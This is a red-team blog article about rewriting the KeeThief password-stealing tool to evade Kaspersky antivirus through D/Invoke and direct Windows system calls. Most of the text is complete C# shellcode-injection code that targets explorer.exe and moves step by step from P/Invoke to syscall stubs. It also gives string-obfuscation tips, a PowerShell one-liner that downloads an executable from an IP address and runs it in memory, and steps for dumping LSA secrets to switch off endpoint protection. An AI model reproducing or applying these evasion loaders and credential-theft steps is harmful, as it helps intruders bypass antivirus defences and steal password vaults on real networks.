This paper discusses D/Invoke, a wonderful third-party mechanism for C#. D/Invoke makes it possible to interact with the Windows API bypassing the antivirus protection. As a bonus, you will learn how to rewrite KeeThief so that it becomes undetectable by the great and terrible Kaspersky AV.
Background
Imagine my situation: I’m already inside, the admin domain has been captured and raized, but the stubborn KeePass database doesn’t want to be brute-forced with hashcat and keepass2john.py. As you are likely aware, KeePass contains info required to access critical infrastructure resources that determine the outcome of my attack; so, I must crack it. The workstation running this database is monitored by Kaspersky Endpoint Security (KES). And the question is: how can I get the much-desired master password without using social engineering?
First of all, I must admit that the cornerstone of my success was cool malware called KeeThief from the GhostPack collection; its authors are the notorious @harmj0y and @tifkin_. The core of this program is a custom shellcode that calls RtlDecryptMemory to decrypt the encrypted virtual memory area in KeePass.exe and extract the master password from there. But if there’s a shellcode, you also need a loader for it, which becomes a problem if the host is monitored by EDR…
So, what are my options?
Disable AV
The simplest (and most stupid) way is to disable Kaspersky AV for a few seconds. “This isn’t a red team engagement; so, I can do this!” – I decided. Since I have domain administrator privileges, I also have access to the KES administration server and the KlScSvc
account (in that case, a local account was used) whose credits are stored in plain text among other LSA secrets.
My plan is simple. First, I dump LSA with secretsdump.py.
Then I download the KES Administration Console from the official website, specify KSC as the hostname, and log in.
Then I pause Kaspersky AV and do my dirty job.
Success! I have the master password. But after finishing the project, I decided to explore other ways to solve this problem.
C2 session
Many C2 frameworks can bring along a CLR (Common Language Runtime) DLL and inject it reflectively in accordance with the RDI (Reflective DLL Injection) principle to run malware from the memory. In theory, this can affect the detection of the managed code executed using such a trick.
If Kaspersky Antivirus is active, it’s extremely difficult to get a fully functional Meterpreter session due to numerous artifacts in the network traffic. Therefore, I don’t even try its execute-assembly module. By contrast, the Cobalt Strike execute-assembly module brings the desired results – provided that the beacon session was established correctly (all subsequent screenshots were taken on a PC running KIS (the home edition of KES), but the techniques described below are effective against KES as well).
However, this method is far from perfection, too. To smoothly get a beacon session, you need an external server with a valid certificate to encrypt SSL traffic. Infecting the target PC from the customer’s internal perimeter is a mauvais ton.
Redesigning tools
The most exciting (and concurrently labor-consuming) way is to rewrite the shellcode injection logic so that EDR cannot detect it at the time of execution. This is how I am going to do this, but first, some theory is required.
Note
The point is to evade heuristic analysis. If you hide the malware signature using an undetectable packer, access to memory will still be denied due to the injection failure.
Classical shellcode injection
Let’s examine the classical technique used to inject third-party code into a remote process. For this purpose, our ancestors used the ‘sacred’ trio of Win32 APIs:
- VirtualAllocEx – allocate space in virtual memory of the remote process for your shellcode;
- WriteProcessMemory – write shellcode bytes to the allocated memory area; and
- CreateRemoteThread – run a new thread in the remote process that starts the newly-written shellcode.
Let’s write a simple PoC in C# to demonstrate the classical shellcode injection procedure.
using System;using System.Diagnostics;using System.Runtime.InteropServices;namespace SimpleInjector{ public class Program { [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] static extern IntPtr OpenProcess( uint processAccess, bool bInheritHandle, int processId); [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] static extern IntPtr VirtualAllocEx( IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport("kernel32.dll")] static extern bool WriteProcessMemory( IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten); [DllImport("kernel32.dll")] static extern IntPtr CreateRemoteThread( IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); public static void Main() { // msfvenom -p windows/x64/messagebox TITLE='MSF' TEXT='Hack the Planet!' EXITFUNC=thread -f csharp byte[] buf = new byte[] { }; // Get PID of the explorer.exe process int processId = Process.GetProcessesByName("explorer")[0].Id; // Get process handle based on its PID (0x001F0FFF = PROCESS_ALL_ACCESS) IntPtr hProcess = OpenProcess(0x001F0FFF, false, processId); // Allocate memory area 0x1000 bytes in size (0x3000 = MEM_COMMIT | MEM_RESERVE, 0x40 = PAGE_EXECUTE_READWRITE) IntPtr allocAddr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40); // Write shellcode to the allocated area _ = WriteProcessMemory(hProcess, allocAddr, buf, buf.Length, out _); // Start thread _ = CreateRemoteThread(hProcess, IntPtr.Zero, 0, allocAddr, IntPtr.Zero, 0, IntPtr.Zero); } }}
I compile and run the injector. Using Process Hacker, I can see how a new thread starts in the explorer.exe process and opens an MSF dialog box.
If you simply put such a binary on a disk with enabled antivirus protection, its reaction will be instantaneous regardless of the buf
array contents (i.e. your shellcode). This is because it contains a combination of potentially dangerous Win32 API calls that are used in numerous malicious programs. For demonstration purposes, I recompile the injector with an empty buf
array and upload the result to VirusTotal. Its reaction speaks for itself.
How does antivirus software detect an injector, even without dynamic analysis? In fact, very simply: a bunch of DllImport
attributes representing half of the source code clearly indicate the danger. Using this magical PowerShell code, I can view, for instance, all imports in the .NET binary.
Note
I use the System.
assembly available out-of-the-box in PowerShell Core. Its installation is described in the Microsoft documentation.
$assembly = "C:\Users\snovvcrash\source\repos\SimpleInjector\bin\x64\Release\SimpleInjector.exe"$stream = [System.IO.File]::OpenRead($assembly)$peReader = [System.Reflection.PortableExecutable.PEReader]::new($stream, [System.Reflection.PortableExecutable.PEStreamOptions]::LeaveOpen -bor [System.Reflection.PortableExecutable.PEStreamOptions]::PrefetchMetadata)$metadataReader = [System.Reflection.Metadata.PEReaderExtensions]::GetMetadataReader($peReader)$assemblyDefinition = $metadataReader.GetAssemblyDefinition()foreach($typeHandler in $metadataReader.TypeDefinitions) { $typeDef = $metadataReader.GetTypeDefinition($typeHandler) foreach($methodHandler in $typeDef.GetMethods()) { $methodDef = $metadataReader.GetMethodDefinition($methodHandler) $import = $methodDef.GetImport() if ($import.Module.IsNil) { continue } $dllImportFuncName = $metadataReader.GetString($import.Name) $dllImportParameters = $import.Attributes.ToString() $dllImportPath = $metadataReader.GetString($metadataReader.GetModuleReference($import.Module).Name) Write-Host "$dllImportPath, $dllImportParameters`n$dllImportFuncName`n" }}
info
These imports are used for interactions between .NET applications and unmanaged code (e.g. functions of the user32.
and kernel32.
libraries). The mechanism is called P/Invoke (Platform Invocation Services), and signatures of imported functions, including their sets of arguments and types of return values, can be found on pinvoke.net.
As you understand, dynamic analysis of this stuff is even simpler: since all EDRs have a habit of hooking userland interfaces, calls to suspicious APIs will immediately raise alarms. See the research by @ShitSecure for more information; in the laboratory environment, hooking can be effectively demonstrated using the API Monitor.
So, what can I do in this situation?
Introduction to D/Invoke
In 2020, researchers @TheWover and @FuzzySecurity introduced a new API for invoking unmanaged code from .NET: D/Invoke (Dynamic Invocation, similar to P/Invoke). This method uses a powerful delegates-based mechanism in C#. Initially, it was available as part of SharpSploit, a framework used to develop post-exploitation tools, but later migrated to a separate repository and even appeared as a ready-made package on NuGet.
Using delegates, a developer can declare a reference to a function that has to be called with all its parameters and type of return value (similar to imports using the DllImport
attribute). The difference is as follows: when you import functions using DllImport
, the runtime searches for addresses of the imported functions; while when you use delegates, you have to localize the unmanaged code you need (dynamically, during the program execution) and associate it with the declared pointer. After that, you can access the pointer as the required function without having to ‘shout’ that you are going to use it.
D/Invoke allows to dynamically import unmanaged code in different ways, including:
- DynamicAPIInvoke – parses the DLL structure (either loads it from disk or accesses an instance already loaded to the memory of the current process) containing the required function and computes its export address; or
-
GetSyscallStub – loads the
ntdll.
library to memory and parses its structure in the same way to get a pointer to the export address of the system call that, in fact, acts as the last frontier before entering thedll land of the deadkernel mode (system calls will be addressed in more detail a bit later).
For better understanding, let’s start with a simple example: it’s similar to the first approach, but doesn’t use D/Invoke.
DynamicAPIInvoke without D/Invoke
I like an example provided in the article by xpn (the second code listing in the section “A Quick History Lesson”): the author uses less than 50 strings to demonstrate the full power of delegates combined with a manual search of the export address of an unmanaged function.
I rename the StartShellcodeViaDelegate
function into Main
, add the required structures (signatures are taken from pinvoke.net), and get another PoC demonstrating dynamic shellcode injection.
using System;using System.Diagnostics;using System.Runtime.InteropServices;namespace DynamicAPIInvoke{ /// <summary> /// "A Quick History Lesson" /// https://blog.xpnsec.com/weird-ways-to-execute-dotnet/ /// </summary> public class Program { [UnmanagedFunctionPointer(CallingConvention.Winapi)] delegate IntPtr VirtualAllocDelegate(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [UnmanagedFunctionPointer(CallingConvention.Winapi)] delegate IntPtr ShellcodeDelegate(); static IntPtr GetExportAddress(IntPtr baseAddr, string name) { var dosHeader = Marshal.PtrToStructure<IMAGE_DOS_HEADER>(baseAddr); var peHeader = Marshal.PtrToStructure<IMAGE_OPTIONAL_HEADER64>(baseAddr + dosHeader.e_lfanew + 4 + Marshal.SizeOf<IMAGE_FILE_HEADER>()); var exportHeader = Marshal.PtrToStructure<IMAGE_EXPORT_DIRECTORY>(baseAddr + (int)peHeader.ExportTable.VirtualAddress); for (int i = 0; i < exportHeader.NumberOfNames; i++) { var nameAddr = Marshal.ReadInt32(baseAddr + (int)exportHeader.AddressOfNames + (i * 4)); var m = Marshal.PtrToStringAnsi(baseAddr + (int)nameAddr); if (m == "VirtualAlloc") { var exportAddr = Marshal.ReadInt32(baseAddr + (int)exportHeader.AddressOfFunctions + (i * 4)); return baseAddr + (int)exportAddr; } } return IntPtr.Zero; } public static void Main() { // msfvenom -p windows/x64/messagebox TITLE='MSF' TEXT='Hack the Planet!' EXITFUNC=thread -f csharp byte[] shellcode = new byte[] { }; // Search for export address in the kernel32.dll library already loaded to the memory IntPtr virtualAllocAddr = IntPtr.Zero; foreach (ProcessModule module in Process.GetCurrentProcess().Modules) if (module.ModuleName.ToLower() == "kernel32.dll") virtualAllocAddr = GetExportAddress(module.BaseAddress, "VirtualAlloc"); // Initialize delegate using the found address var VirtualAlloc = Marshal.GetDelegateForFunctionPointer<VirtualAllocDelegate>(virtualAllocAddr); // Allocate memory area with size of shellcode.Length in the address space of the current injector process (0x3000 = MEM_COMMIT | MEM_RESERVE, 0x40 = PAGE_EXECUTE_READWRITE) var execMem = VirtualAlloc(IntPtr.Zero, (uint)shellcode.Length, 0x3000, 0x40); // Write shellcode to the allocated area Marshal.Copy(shellcode, 0, execMem, shellcode.Length); // Address shellcode as a function and run it without creating a new thread var shellcodeCall = Marshal.GetDelegateForFunctionPointer<ShellcodeDelegate>(execMem); shellcodeCall(); } [StructLayout(LayoutKind.Sequential)] struct IMAGE_DOS_HEADER { // http://www.pinvoke.net/default.aspx/Structures/IMAGE_DOS_HEADER.html } [StructLayout(LayoutKind.Sequential, Pack = 1)] struct IMAGE_OPTIONAL_HEADER64 { // http://www.pinvoke.net/default.aspx/Structures/IMAGE_OPTIONAL_HEADER64.html } [StructLayout(LayoutKind.Sequential)] struct IMAGE_DATA_DIRECTORY { // http://www.pinvoke.net/default.aspx/Structures/IMAGE_DATA_DIRECTORY.html } [StructLayout(LayoutKind.Sequential)] struct IMAGE_FILE_HEADER { // http://www.pinvoke.net/default.aspx/Structures/IMAGE_FILE_HEADER.html } [StructLayout(LayoutKind.Sequential)] struct IMAGE_EXPORT_DIRECTORY { // http://www.pinvoke.net/default.aspx/Structures/IMAGE_EXPORT_DIRECTORY.html } }}
For simplicity purposes, the above example uses the so-called self-injection: you don’t target a remote process, but write the shellcode into the virtual memory of the injector process (by the way, this is another effective AV bypass tactics).
Now I am going to use my impromptu static analysis script to check for any suspicious imports.
No imports found, which is fine. But what will API Monitor say when the injector is launched?
No alarms. Let’s check the KIS reaction to this binary.
I didn’t even launch it… But I’m definitely moving in the right direction!
Bonus
In this particular case, Kaspersky AV detects hardcoded strings (e.g. "VirtualAlloc"
) and names of variables. If you obfuscate or encrypt them as I do here, EDR won’t notice anything suspicious.
However, if your injector has a more complex structure (e.g. a thread is launched in a remote process), heuristic analysis will detect it. Therefore, the above method isn’t suitable for this task.
DynamicAPIInvoke with D/Invoke
Let’s find out how to perform an injection into a remote process using D/Invoke and DynamicAPIInvoke
. For this purpose, I create a new Visual Studio project and separately clone the D/Invoke repository. For ‘combat’ operations, I don’t want to use a ready-made NuGet package – instead, I will include D/Invoke source code in my project to avoid potential IOCs and the need to merge the assemblies together.
git clone https://github.com/TheWover/DInvoke.git
The result should look like shown below.
The PoC is as follows:
using System;using System.Diagnostics;using System.ComponentModel;using System.Runtime.InteropServices;namespace DInvoke_DynamicAPIInvoke{ class Delegates { [UnmanagedFunctionPointer(CallingConvention.StdCall)] public delegate IntPtr OpenProcess( DInvoke.Data.Win32.Kernel32.ProcessAccessFlags dwDesiredAccess, bool bInheritHandle, int dwProcessId); [UnmanagedFunctionPointer(CallingConvention.StdCall)] public delegate IntPtr VirtualAllocEx( IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [UnmanagedFunctionPointer(CallingConvention.StdCall)] public delegate bool WriteProcessMemory( IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int nSize, out IntPtr lpNumberOfBytesWritten); [UnmanagedFunctionPointer(CallingConvention.StdCall)] public delegate IntPtr CreateRemoteThread( IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); } public class Program { static IntPtr OpenProcess(DInvoke.Data.Win32.Kernel32.ProcessAccessFlags dwDesiredAccess, bool bInheritHandle, int dwProcessId) { object[] parameters = { dwDesiredAccess, bInheritHandle, dwProcessId }; var result = (IntPtr)DInvoke.DynamicInvoke.Generic.DynamicAPIInvoke("kernel32.dll", "OpenProcess", typeof(Delegates.OpenProcess), ref parameters); return result; } static IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect) { object[] parameters = { hProcess, lpAddress, dwSize, flAllocationType, flProtect }; var result = (IntPtr)DInvoke.DynamicInvoke.Generic.DynamicAPIInvoke("kernel32.dll", "VirtualAllocEx", typeof(Delegates.VirtualAllocEx), ref parameters); return result; } static bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int nSize, out IntPtr lpNumberOfBytesWritten) { var numBytes = new IntPtr(); object[] parameters = { hProcess, lpBaseAddress, lpBuffer, nSize, numBytes }; var result = (bool)DInvoke.DynamicInvoke.Generic.DynamicAPIInvoke("kernel32.dll", "WriteProcessMemory", typeof(Delegates.WriteProcessMemory), ref parameters); if (!result) throw new Win32Exception(Marshal.GetLastWin32Error()); lpNumberOfBytesWritten = (IntPtr)parameters[4]; return result; } static IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId) { object[] parameters = { hProcess, lpThreadAttributes, dwStackSize, lpStartAddress, lpParameter, dwCreationFlags, lpThreadId }; var result = (IntPtr)DInvoke.DynamicInvoke.Generic.DynamicAPIInvoke("kernel32.dll", "CreateRemoteThread", typeof(Delegates.CreateRemoteThread), ref parameters); return result; } public static void Main(string[] args) { // msfvenom -p windows/x64/messagebox TITLE='MSF' TEXT='Hack the Planet!' EXITFUNC=thread -f csharp byte[] buf = new byte[] { }; // Get PID of the explorer.exe process int processId = Process.GetProcessesByName("explorer")[0].Id; // Get process handle based on its PID IntPtr hProcess = OpenProcess(DInvoke.Data.Win32.Kernel32.ProcessAccessFlags.PROCESS_ALL_ACCESS, false, processId); // Allocate memory area buf.Length bytes in size IntPtr allocAddr = VirtualAllocEx(hProcess, IntPtr.Zero, (uint)buf.Length, DInvoke.Data.Win32.Kernel32.MEM_COMMIT | DInvoke.Data.Win32.Kernel32.MEM_RESERVE, DInvoke.Data.Win32.WinNT.PAGE_EXECUTE_READWRITE); // Write shellcode to the allocated area _ = WriteProcessMemory(hProcess, allocAddr, buf, buf.Length, out _); // Start thread _ = CreateRemoteThread(hProcess, IntPtr.Zero, 0, allocAddr, IntPtr.Zero, 0, IntPtr.Zero); } }}
Let’s briefly discuss what happened. The WriteProcessMemory
API call will be used as an example. In case of a static P/Invoke import, this API was used as follows:
public class Program{ [DllImport("kernel32.dll")] static extern bool WriteProcessMemory( IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);}
To use DynamicAPIInvoke from D/Invoke, I create a wrapper function called WriteProcessMemory
; it takes the same arguments as specified in the delegate’s signature and passes the control to the D/Invoke logic.
class Delegates{ [UnmanagedFunctionPointer(CallingConvention.StdCall)] public delegate bool WriteProcessMemory( IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int nSize, out IntPtr lpNumberOfBytesWritten);}public class Program{ static bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int nSize, out IntPtr lpNumberOfBytesWritten) { // This variable will be responsible for the out argument lpNumberOfBytesWritten var numBytes = new IntPtr(); // Create an object containing input arguments that have to be passed to the target function and call DynamicAPIInvoke object[] parameters = { hProcess, lpBaseAddress, lpBuffer, nSize, numBytes }; var result = (bool)DInvoke.DynamicInvoke.Generic.DynamicAPIInvoke("kernel32.dll", "WriteProcessMemory", typeof(Delegates.WriteProcessMemory), ref parameters); // In case of failure, throw an exception; otherwise redefine the out argument lpNumberOfBytesWritten with the numBytes value if (!result) throw new Win32Exception(Marshal.GetLastWin32Error()); lpNumberOfBytesWritten = (IntPtr)parameters[4]; // Return the result return result; }}
This operation was performed to simplify the use of the target function: the syntax used to call WriteProcessMemory
remains the same in both cases:
_ = WriteProcessMemory(hProcess, allocAddr, buf, buf.Length, out _);
Important: if you decide to use the D/Invoke project, note that under no circumstance your binary cannot be copied to the disk (this would trigger alerts). But this isn’t critical since you are dealing with C# and can always load the bytes of the assembled injector directly into the memory using System.
(remember that, similar to the Main
function, the class containing the program entry point must be declared as public
).
www
A few useful articles explaining how to load C# assemblies into memory:
$data = (New-Object System.Net.WebClient).DownloadData('http://192.168.0.184/DInvoke_DynamicAPIInvoke.exe')$assembly = [System.Reflection.Assembly]::Load($data)[DInvoke_DynamicAPIInvoke.Program]::Main(" ")
Too bad, Kaspersky detects such a behavior during the execution. I was prepared for this, so let’s move on to the heavy artillery: system calls in D/Invoke.
Why system calls?
So, what are system calls in the context of this topic and how can they help?
Windows has two API types: Win32 API and Native API.
- Win32 API (
kernel32.
,dll user32.
,dll advapi32.
etc.) – a well-documented and comprehensible API that remains intact for years to avoid breaking the existent programs and forcing developers to reinvent the wheel when they have to implement basic things. Roughly speaking, functions used in the Win32 API are wrapper functions that internally communicate with the Native API (similar to thedll DynamicAPIInvoke
example above); and - Native API (
ntdll.
) – an undocumenteddll and incomprehensibleAPI whose implementation may vary in different versions of Windows. Native API functions are, in turn, wrappers for system calls.
For us, attackers pentesters, it’s imperative to take advantage of every OS feature because at the beginning of a project we always start in an uncharted area and know nothing about the target PC aside from its listed features. While the defenders are equipped with multimillion-dollar SIEMs and EDRs, we only have a bunch of hand-made scripts from GitHub and the friendly community (and licensed Cobalt, of course).
This means that in some situations, it’s preferable to use the Native API, not the Win32 API, to stay as close to the kernel mode (Ring 0) as possible because the AV/EDR laws – so effective in the user mode (Ring 3) – aren’t applicable there.
As you understand, the above exercises with DllImport
(P/Invoke) and DynamicAPIInvoke
(D/Invoke) are nothing more than attempts to use the Win32 API. Let’s try to perform the same operations with system calls.
www
- Red Team Tactics: Utilizing Syscalls in C# – Prerequisite Knowledge
- Red Team Tactics: Utilizing Syscalls in C# – Writing The Code
- Using Syscalls to Inject Shellcode on Windows
- Syscalls with D/Invoke
- Bypassing User-Mode Hooks and Direct Invocation of System Calls for Red Teams
- Malware Analysis: Syscalls
GetSyscallStub with D/Invoke
Generally speaking, Native API functions represent the last frontier before entering the kernel mode. They live in the ntdll.
library, and one of the ways to reach them without being detected is to parse the PE structure of this library and get addresses of the required exports. And D/Invoke will assist in this.
Let’s examine the code below.
using System;using System.Diagnostics;using System.Runtime.InteropServices;namespace DInvoke_GetSyscallStub{ class Win32 { [StructLayout(LayoutKind.Sequential, Pack = 0)] public struct OBJECT_ATTRIBUTES { public int Length; public IntPtr RootDirectory; public IntPtr ObjectName; public uint Attributes; public IntPtr SecurityDescriptor; public IntPtr SecurityQualityOfService; } [StructLayout(LayoutKind.Sequential)] public struct CLIENT_ID { public IntPtr UniqueProcess; public IntPtr UniqueThread; } } class Delegates { [UnmanagedFunctionPointer(CallingConvention.StdCall)] public delegate DInvoke.Data.Native.NTSTATUS NtOpenProcess( ref IntPtr ProcessHandle, DInvoke.Data.Win32.Kernel32.ProcessAccessFlags DesiredAccess, ref Win32.OBJECT_ATTRIBUTES ObjectAttributes, ref Win32.CLIENT_ID ClientId); [UnmanagedFunctionPointer(CallingConvention.StdCall)] public delegate DInvoke.Data.Native.NTSTATUS NtAllocateVirtualMemory( IntPtr ProcessHandle, ref IntPtr BaseAddress, IntPtr ZeroBits, ref IntPtr RegionSize, uint AllocationType, uint Protect); [UnmanagedFunctionPointer(CallingConvention.StdCall)] public delegate DInvoke.Data.Native.NTSTATUS NtWriteVirtualMemory( IntPtr ProcessHandle, IntPtr BaseAddress, IntPtr Buffer, uint BufferLength, ref uint BytesWritten); [UnmanagedFunctionPointer(CallingConvention.StdCall)] public delegate DInvoke.Data.Native.NTSTATUS NtCreateThreadEx( ref IntPtr threadHandle, DInvoke.Data.Win32.WinNT.ACCESS_MASK desiredAccess, IntPtr objectAttributes, IntPtr processHandle, IntPtr startAddress, IntPtr parameter, bool createSuspended, int stackZeroBits, int sizeOfStack, int maximumStackSize, IntPtr attributeList); } public class Program { static DInvoke.Data.Native.NTSTATUS NtOpenProcess(ref IntPtr ProcessHandle, DInvoke.Data.Win32.Kernel32.ProcessAccessFlags DesiredAccess, ref Win32.OBJECT_ATTRIBUTES ObjectAttributes, ref Win32.CLIENT_ID ClientId) { IntPtr stub = DInvoke.DynamicInvoke.Generic.GetSyscallStub("NtOpenProcess"); Delegates.NtOpenProcess ntOpenProcess = (Delegates.NtOpenProcess)Marshal.GetDelegateForFunctionPointer(stub, typeof(Delegates.NtOpenProcess)); return ntOpenProcess(ref ProcessHandle, DesiredAccess, ref ObjectAttributes, ref ClientId); } static DInvoke.Data.Native.NTSTATUS NtAllocateVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, IntPtr ZeroBits, ref IntPtr RegionSize, uint AllocationType, uint Protect) { IntPtr stub = DInvoke.DynamicInvoke.Generic.GetSyscallStub("NtAllocateVirtualMemory"); Delegates.NtAllocateVirtualMemory ntAllocateVirtualMemory = (Delegates.NtAllocateVirtualMemory)Marshal.GetDelegateForFunctionPointer(stub, typeof(Delegates.NtAllocateVirtualMemory)); return ntAllocateVirtualMemory(ProcessHandle, ref BaseAddress, ZeroBits, ref RegionSize, AllocationType, Protect); } static DInvoke.Data.Native.NTSTATUS NtWriteVirtualMemory(IntPtr ProcessHandle, IntPtr BaseAddress, IntPtr Buffer, uint BufferLength, ref uint BytesWritten) { IntPtr stub = DInvoke.DynamicInvoke.Generic.GetSyscallStub("NtWriteVirtualMemory"); Delegates.NtWriteVirtualMemory ntWriteVirtualMemory = (Delegates.NtWriteVirtualMemory)Marshal.GetDelegateForFunctionPointer(stub, typeof(Delegates.NtWriteVirtualMemory)); return ntWriteVirtualMemory(ProcessHandle, BaseAddress, Buffer, BufferLength, ref BytesWritten); } static DInvoke.Data.Native.NTSTATUS NtCreateThreadEx(ref IntPtr threadHandle, DInvoke.Data.Win32.WinNT.ACCESS_MASK desiredAccess, IntPtr objectAttributes, IntPtr processHandle, IntPtr startAddress, IntPtr parameter, bool createSuspended, int stackZeroBits, int sizeOfStack, int maximumStackSize, IntPtr attributeList) { IntPtr stub = DInvoke.DynamicInvoke.Generic.GetSyscallStub("NtCreateThreadEx"); Delegates.NtCreateThreadEx ntCreateThreadEx = (Delegates.NtCreateThreadEx)Marshal.GetDelegateForFunctionPointer(stub, typeof(Delegates.NtCreateThreadEx)); return ntCreateThreadEx(ref threadHandle, desiredAccess, objectAttributes, processHandle, startAddress, parameter, createSuspended, stackZeroBits, sizeOfStack, maximumStackSize, attributeList); } public static void Main(string[] args) { // msfvenom -p windows/x64/messagebox TITLE='MSF' TEXT='Hack the Planet!' EXITFUNC=thread -f csharp byte[] buf = new byte[] { }; // Get PID of the explorer.exe process int processId = Process.GetProcessesByName("explorer")[0].Id; // Get process handle based on its PID IntPtr hProcess = IntPtr.Zero; Win32.OBJECT_ATTRIBUTES oa = new Win32.OBJECT_ATTRIBUTES(); Win32.CLIENT_ID ci = new Win32.CLIENT_ID { UniqueProcess = (IntPtr)processId }; _ = NtOpenProcess(ref hProcess, DInvoke.Data.Win32.Kernel32.ProcessAccessFlags.PROCESS_ALL_ACCESS, ref oa, ref ci); // Allocate memory area with size of buf.Length IntPtr baseAddress = IntPtr.Zero; IntPtr regionSize = (IntPtr)buf.Length; _ = NtAllocateVirtualMemory(hProcess, ref baseAddress, IntPtr.Zero, ref regionSize, DInvoke.Data.Win32.Kernel32.MEM_COMMIT | DInvoke.Data.Win32.Kernel32.MEM_RESERVE, DInvoke.Data.Win32.WinNT.PAGE_EXECUTE_READWRITE); // Write shellcode to the allocated area var shellcode = Marshal.AllocHGlobal(buf.Length); Marshal.Copy(buf, 0, shellcode, buf.Length); uint bytesWritten = 0; _ = NtWriteVirtualMemory(hProcess, baseAddress, shellcode, (uint)buf.Length, ref bytesWritten); Marshal.FreeHGlobal(shellcode); // Start thread IntPtr hThread = IntPtr.Zero; _ = NtCreateThreadEx(ref hThread, DInvoke.Data.Win32.WinNT.ACCESS_MASK.MAXIMUM_ALLOWED, IntPtr.Zero, hProcess, baseAddress, IntPtr.Zero, false, 0, 0, 0, IntPtr.Zero); } }}
In this PoC, all functions involved in the shellcode injection have been replaced by Native API calls, namely
-
OpenProcess
→NtOpenProcess
; -
VirtualAllocEx
→NtAllocateVirtualMemory
; -
WriteProcessMemory
→NtWriteVirtualMemory
; -
CreateRemoteThread
→NtCreateThreadEx
.
The first question that comes to mind is: how do I know that these Native API functions correspond to the above-mentioned Win32 API calls? Well, the most righteous way to find this out is to disassemble kernel32.
yourself… But since I’m all fingers and thumbs (and don’t have IDA Pro), I took a different approach and reviewed the ReactOS source code whose authors have already stolen everything done this job.
For instance, the implementation of the CreateRemoteThread
function directly hints at the NtCreateThread
call, which, in turn, refers you to the NtCreateThreadEx signature.
www
Here is another useful mapping in the PDF format showing correspondences between Win32 API calls and Native API functions.
So, let’s review again the differences between a static import in P/Invoke and a D/Invoke system call for the WriteProcessMemory
function.
It used to be as follows:
public class Program{ [DllImport("kernel32.dll")] static extern bool WriteProcessMemory( IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);}
Now it is:
class Delegates{ [UnmanagedFunctionPointer(CallingConvention.StdCall)] public delegate bool WriteProcessMemory( IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int nSize, out IntPtr lpNumberOfBytesWritten);}public class Program{ static DInvoke.Data.Native.NTSTATUS NtWriteVirtualMemory(IntPtr ProcessHandle, IntPtr BaseAddress, IntPtr Buffer, uint BufferLength, ref uint BytesWritten) { // Get system call stub (i.e. pointer to the export of target function) and use it to initialize delegate IntPtr stub = DInvoke.DynamicInvoke.Generic.GetSyscallStub("NtWriteVirtualMemory"); Delegates.NtWriteVirtualMemory ntWriteVirtualMemory = (Delegates.NtWriteVirtualMemory)Marshal.GetDelegateForFunctionPointer(stub, typeof(Delegates.NtWriteVirtualMemory)); // Execute the delegate as target function and return result return ntWriteVirtualMemory(ProcessHandle, BaseAddress, Buffer, BufferLength, ref BytesWritten); }}
Let’s execute this code.
It works! Now let’s try it with Kaspersky AV enabled.
www
Another gift from the offensive community is the dinvoke.net resource by @_RastaMouse. You can copy/paste there ready-made delegate signatures for system calls and find useful code examples.
Your favorite antivirus keeps silence.
Modifying KeeThief
Now you possess knowledge required to rewrite the KeeThief logic for D/Invoke system calls. Instead of copying/pasting all the changes that I made, I will focus in this article on the function used to read the decrypted memory area containing the master password. The rest of the changes can be found on my GitHub.
Preparations
First, I fork the KeeThief and DInvoke projects. Next, I create a separate keethief branch in the DInvoke fork where I will get rid of all features that I don’t need, thus, reducing the amount of suspicious code.
Then I add modified DInvoke as a git submodule for KeeThief.
git submodule add -b keethief https://github.com/snovvcrash/DInvoke.git KeeTheft/KeeTheft/DInvoke
Now I can create the syscalls
branch, open KeeTheft.sln in Visual Studio, and add the DInvoke folder to the project.
Upgrading the ReadProcessMemory function
In fact, only functions declared in Win32.cs are of interest for my purposes; so, let’s use the above-mentioned ReadProcessMemory function as an example (it’s called here).
Similar to the example described above, to use ReadProcessMemory
in KeeThief, an ordinary P/Invoke import with DllImport
is performed.
class Win32{ // https://github.com/GhostPack/KeeThief/blob/04f3fbc0ba87dbcd9011ad40a1382169dc5afd59/KeeTheft/KeeTheft/Win32.cs#L37-L38 [DllImport("kernel32.dll")] public static extern int ReadProcessMemory( IntPtr hProcess, IntPtr lpBaseAddress, [Out, MarshalAs(UnmanagedType.LPArray, SizeParamIndex = 3)] byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesRead);}
I am going to create separate classes Delegates.cs and Syscalls.cs for delegates and system call implementations, respectively. To localize the NtReadVirtualMemory
function, I use the above-mentioned method taken from the ReactOS source code.
